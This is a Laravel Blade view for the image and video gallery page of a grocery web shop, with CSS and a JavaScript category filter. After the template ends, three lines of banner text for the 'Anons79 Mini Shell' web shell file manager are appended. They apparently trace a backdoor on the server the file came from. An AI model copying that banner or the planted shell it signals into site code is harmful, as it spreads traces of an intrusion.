@extends('general.head')
@section('middle')
<head>
<title>@section('title', 'Gallery-')Ckgroceries</title>
<meta name="keywords" content="CKgroceries Gallery, online shoping, Best e-commerce site, online groceresie products" />
</head>
<style>
.ads-grid, footer, .contact-w3l, .w3_wthree_agileits_icons, .typo, .faqs-w3l, .terms-of-use, .welcome, .about, .banner-bootom-w3-agileits, .privacy {
padding: 2em 0;
}
</style>
<div class="page-head_agile_info_w3l">
</div>
<!-- //banner-2 -->
<!-- page -->
<div class="services-breadcrumb">
<div class="agile_inner_breadcrumb">
<div class="container">
<ul class="w3_short">
<li>
<a href="{{ url('/') }}">Home</a>
<i>|</i>
</li>
<li>Gallery</li>
</ul>
</div>
</div>
</div>
<!-- //page -->
<!-- Single Page -->
<div class="banner-bootom-w3-agileits">
<div class="container">
<main class="main-content js-focus-hidden" id="MainContent" role="main" tabindex="-1" style="padding-top:7px">
<!DOCTYPE html>
<!-- Design by foolishdeveloper.com-->
<html lang="en">
<head>
<style media="screen">
body{
line-height: 1.5;
font-family: sans-serif;
}
*{
margin:0;
box-sizing: border-box;
}
.container{
max-width: 1170px;
margin:auto;
}
.row{
display: flex;
flex-wrap: wrap;
}
img{
max-width: 100%;
vertical-align: middle;
}
/*.gallery*/
.gallery{
width: 100%;
display: block;
min-height: 20vh;
/*background-color: #2a2932;*/
padding: 20px 0;
}
.gallery .gallery-filter{
padding: 0 15px;
width: 100%;
text-align: center;
margin-bottom: 40px;
}
.gallery .gallery-filter .filter-item{
color: #ffffff;
font-size: 17px;
border: 2px solid #000000;
text-transform: uppercase;
display: inline-block;
border-radius: 20px;
margin-right: 8px;
cursor: pointer;
padding: 8px 20px 8px 20px;
line-height: 1.2;
transition: all 0.3s ease;
}
.gallery .gallery-filter .filter-item.active{
color: white;
border-color : #16b5ef;
background: #16b5ef;
}
.gallery .gallery-item{
width: calc(100% / 3);
padding: 15px;
}
.gallery .gallery-item-inner img{
width: 100%;
border: 3px solid #d4dad9;
}
.gallery .gallery-item.show{
animation: fadeIn 0.5s ease;
}
@keyframes fadeIn{
0%{
opacity: 0;
}
100%{
opacity: 1;
}
}
.gallery .gallery-item.hide{
display: none;
}
/*responsive*/
@media(max-width: 491px){
.gallery .gallery-item{
width: 50%;
}
}
@media(max-width: 467px){
.gallery .gallery-item{
width: 100%;
}
.gallery .gallery-filter .filter-item{
margin-bottom: 10px;
}
}
.phone-call {
width: 61px;
height: 62px;
left: 20px;
bottom: 20px;
background: #10b418;
position: fixed;
text-align: center;
color: #ffffff;
cursor: pointer;
border-radius: 50%;
z-index: 99;
display: inline-block;
line-height: 65px;
}
</style>
</head>
<body>
<section class="gallery">
<div class="container">
<div class="row">
<div class="gallery-filter">
@if(count($albums)>0)
<span class="filter-item active" data-filter="all" style="color: #000000">all</span>
@else
<h2>No Gallery Item</h2>
@endif
@foreach($albums as $album)
<span class="filter-item" data-filter="{{ $album->title }}" style="color: #000000">{{ $album->title }}</span>
@endforeach
</div>
</div>
<div class="row">
<!-- gallery item start -->
@foreach($all as $single)
<div class="gallery-item {{ $single->title }}">
<div class="gallery-item-inner">
@if($single->type=='Image')
<img src="{{ url('public/uploads/gallery') }}/{{ $single->image_name}}" alt="{{ $single->title }}">
@else
<video style="width: 100%;" height="230" controls>
<source src="{{ url('public/uploads/gallery') }}/{{ $single->image_name }}" type="video/mp4">
</video>
@endif
</div>
</div>
@endforeach
<!-- gallery item end -->
</div>
</div>
</section>
<script>
const filterContainer = document.querySelector(".gallery-filter"),
galleryItems = document.querySelectorAll(".gallery-item");
filterContainer.addEventListener("click", (event) =>{
if(event.target.classList.contains("filter-item")){
// deactivate existing active 'filter-item'
filterContainer.querySelector(".active").classList.remove("active");
// activate new 'filter-item'
event.target.classList.add("active");
const filterValue = event.target.getAttribute("data-filter");
galleryItems.forEach((item) =>{
if(item.classList.contains(filterValue) || filterValue === 'all'){
item.classList.remove("hide");
item.classList.add("show");
}
else{
item.classList.remove("show");
item.classList.add("hide");
}
});
}
});
</script>
</body>
</html>
</main>
<div class="clearfix"></div>
</div>
</div>
</div>
<!-- jQuery library -->
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js"></script>
@endsection
Anons79 File Manager Version 1.0, Coded By Anons79
Email: [email protected]
Anons79 Mini Shell